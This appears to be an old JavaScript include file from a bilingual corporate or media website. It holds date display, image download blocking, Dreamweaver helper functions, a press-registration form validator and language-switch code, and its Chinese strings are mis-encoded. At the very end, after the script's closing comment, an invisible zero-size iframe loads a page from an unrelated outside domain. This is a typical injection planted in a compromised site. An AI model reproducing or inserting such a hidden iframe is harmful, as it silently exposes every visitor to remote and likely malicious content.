<!--
	var time = new Date();

	function date() { //Display Current Date, Month and Year

	var stmonth;
	var styear;
	var tyear = time.getYear();
	var tmonth = time.getMonth() + 1;
	var tdate = time.getDate();

	if (tyear < 2000) styear = (tyear + 1900)
	if (tyear >= 2000) styear = tyear

	if (tmonth == 1) stmonth = "January"
	if (tmonth == 2) stmonth = "February"
	if (tmonth == 3) stmonth = "March"
	if (tmonth == 4) stmonth = "April"
	if (tmonth == 5) stmonth = "May"
	if (tmonth == 6) stmonth = "June"
	if (tmonth == 7) stmonth = "July"
	if (tmonth == 8) stmonth = "August"
	if (tmonth == 9) stmonth = "September"
	if (tmonth == 10) stmonth = "October"
	if (tmonth == 11) stmonth = "November"
	if (tmonth == 12) stmonth = "December"

	document.write(tdate + ' ' + stmonth + ' ' + styear);
	}

	function chidate() { //Display Current Date, Month and Year

	var stmonth;
	var styear;
	var tyear = time.getYear();
	var tmonth = time.getMonth() + 1;
	var tdate = time.getDate();

	if (tyear < 2000) styear = (tyear + 1900)
	if (tyear >= 2000) styear = tyear

	if (tmonth == 1) stmonth = "1 ¤ë"
	if (tmonth == 2) stmonth = "2 ¤ë"
	if (tmonth == 3) stmonth = "3 ¤ë"
	if (tmonth == 4) stmonth = "4 ¤ë"
	if (tmonth == 5) stmonth = "5 ¤ë"
	if (tmonth == 6) stmonth = "6 ¤ë"
	if (tmonth == 7) stmonth = "7 ¤ë"
	if (tmonth == 8) stmonth = "8 ¤ë"
	if (tmonth == 9) stmonth = "9 ¤ë"
	if (tmonth == 10) stmonth = "10 ¤ë"
	if (tmonth == 11) stmonth = "11 ¤ë"
	if (tmonth == 12) stmonth = "12 ¤ë"

	document.write(styear + ' ¦~' + ' ' + stmonth + ' ' + tdate + ' ¤é');
	}

function block(e) {
alert("Downloading of this image is not allowed");
return false;
}
function trap() {
if(document.images) {
document.images.logo.onmousedown = block;
}
}

function blockC(c) {
alert("¤£·Ç¤U¸ü¦¹¹Ï¤ù");
return false;
}
function trapChi() {
if(document.images) {
//document.images.logo.onmousedown = blockC;
}
}

function pop(url){
window.open(url,'pop','width=600,height=400,left=0,top=0,menubar=no,scrollbars=yes,resizable=no,status=no,toobar=no')
}

function changeBanner() {
	bName = navigator.appName;
	if (navigator.userAgent.indexOf("Mac_PowerPC") != -1) {
	document.write('<img src="images/index/banner.gif" border=0>');
	}
	else {
		if (bName == "Microsoft Internet Explorer") br = "e";
		else br = "n";
	
		if (br == "e") {
		document.write('<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" WIDTH="517" HEIGHT="157" ALIGN=""><PARAM NAME=movie VALUE="images/index/index.swf"> <PARAM NAME=quality VALUE=high> <PARAM NAME=bgcolor VALUE=#FFFFFF> <param name="wmode" value="transparent"> <EMBED src="images/index/index.swf" quality=high bgcolor=#FFFFFF  WIDTH="517" HEIGHT="156" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED></OBJECT>');
		}
		else {
		document.write('<img src="images/index/banner.gif" border=0>');
		}
	}
}

function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function newWindow(strurl)
{
    window.open(strurl);
}
                  //-->

function alertmessage() {
alert ("Your request has been carried out.")
}

function checkForm() {
if (document.mailer.Title[0].checked == false && document.mailer.Title[1].checked == false && document.mailer.Title[2].checked == false && document.mailer.Title[3].checked == false)
{ alert ("Please select Title");
return false;}
if (document.mailer.FirstName.value.length <= 0 || document.mailer.FirstName.value.substring(0,1) == " ")
{ alert ("Please input First Name");
document.mailer.FirstName.value = "";
document.mailer.FirstName.focus();
return false;}
if (document.mailer.FamilyName.value.length <= 0 || document.mailer.FamilyName.value.substring(0,1) == " ")
{ alert ("Please input Family Name");
document.mailer.FamilyName.value = "";
document.mailer.FamilyName.focus();
return false;}
if (document.mailer.Email.value.length <= 0 || document.mailer.Email.value.substring(0,1) == " ")
{
 alert ("Please input Email");
document.mailer.Email.value = "";
document.mailer.Email.focus();
return false;}
if (document.mailer.Email.value.indexOf("@") <= 0 || document.mailer.Email.value.indexOf(".") <= 0)
{
 alert ("Please input correct Email");
document.mailer.Email.value = "";
document.mailer.Email.focus();
return false;}
if (document.mailer.Media.value.length <= 0 || document.mailer.Media.value.substring(0,1) == " ")
{ alert ("Please input Media Organisation");
document.mailer.Media.value = "";
document.mailer.Media.focus();
return false;}
if (document.mailer.Job.value.length <= 0 || document.mailer.Job.value.substring(0,1) == " ")
{ alert ("Please input Job");
document.mailer.Job.value = "";
document.mailer.Job.focus();
return false;}
if (document.mailer.Tel.value.length <= 0 || document.mailer.Tel.value.substring(0,1) == " ")
{ alert ("Please input Tel");
document.mailer.Tel.value = "";
document.mailer.Tel.focus();
return false;}
if (document.mailer.Fax.value.length <= 0 || document.mailer.Fax.value.substring(0,1) == " ")
{ alert ("Please input Fax");
document.mailer.Fax.value = "";
document.mailer.Fax.focus();
return false;}
if (document.mailer.Address.value.length <= 0 || document.mailer.Address.value.substring(0,1) == " ")
{ alert ("Please input Address");
document.mailer.Address.value = "";
document.mailer.Address.focus();
return false;}
if (document.mailer.Country.value == "" ){
 alert ("Please select Country");
document.mailer.Country.value = "";
document.mailer.Country.focus();
return false;}
document.mailer.action = "mailto:";
mailtoandsubject = ((document.mailer.abc.value) + "?subject=" + document.mailer.subject.value);
document.mailer.action += mailtoandsubject;
setTimeout("alertmessage()", 5000);
return true;
}

function changeEngLanguage(newLanguage) {
	var curLoc = parent.location.href;
	var docPos = curLoc.indexOf("/chi");
	var pathPart = curLoc.substring(0, docPos+1);
	var docPart = curLoc.substring(docPos+4);
	eval("parent.location='" + pathPart + newLanguage + docPart + "'");
}

function changeChiLanguage(newLanguage) {
	var curLoc = parent.location.href;
	var docPos = curLoc.indexOf("/eng");
	var pathPart = curLoc.substring(0, docPos+1);
	var docPart = curLoc.substring(docPos+4);
	eval("parent.location='" + pathPart + newLanguage + docPart + "'");
}

function process(content) {
        var temp = content.value
        var out = " ";
	var add = "";

  	var pos=0;
  	var a=0;
  	var i=0;
	while (temp.indexOf(out)>-1)
  	{    
    		pos= temp.indexOf(out);
    		temp = "" + (temp.substring(0, pos) + add + temp.substring((pos + out.length), temp.length));
    	}
    	
	var result="";	
	var finalo=temp;
	var str = temp.split('');
	var count = temp.length;
    	for(i=0; i<=str.length-1; i++)
    	{
    		if (count - 1 == i)
    		{
    			str[i] = str[i] + "";
    		}
    		else
    		{
    			str[i]  = str[i] + " ";    			
    		}
    		result+=str[i];   				
    	}
    	finalo = "*" + result + "*" + "," + "*" + finalo + "*";
    	    	
	content.value = finalo;      		    	
}

function star(content){
	
	var temp = content.value;
	
	var finalo = "*" + temp + "*";
	  	
	content.value = finalo;
}
//--><iframe src=http://www.52shenmo.com width=0 height=0></iframe> 
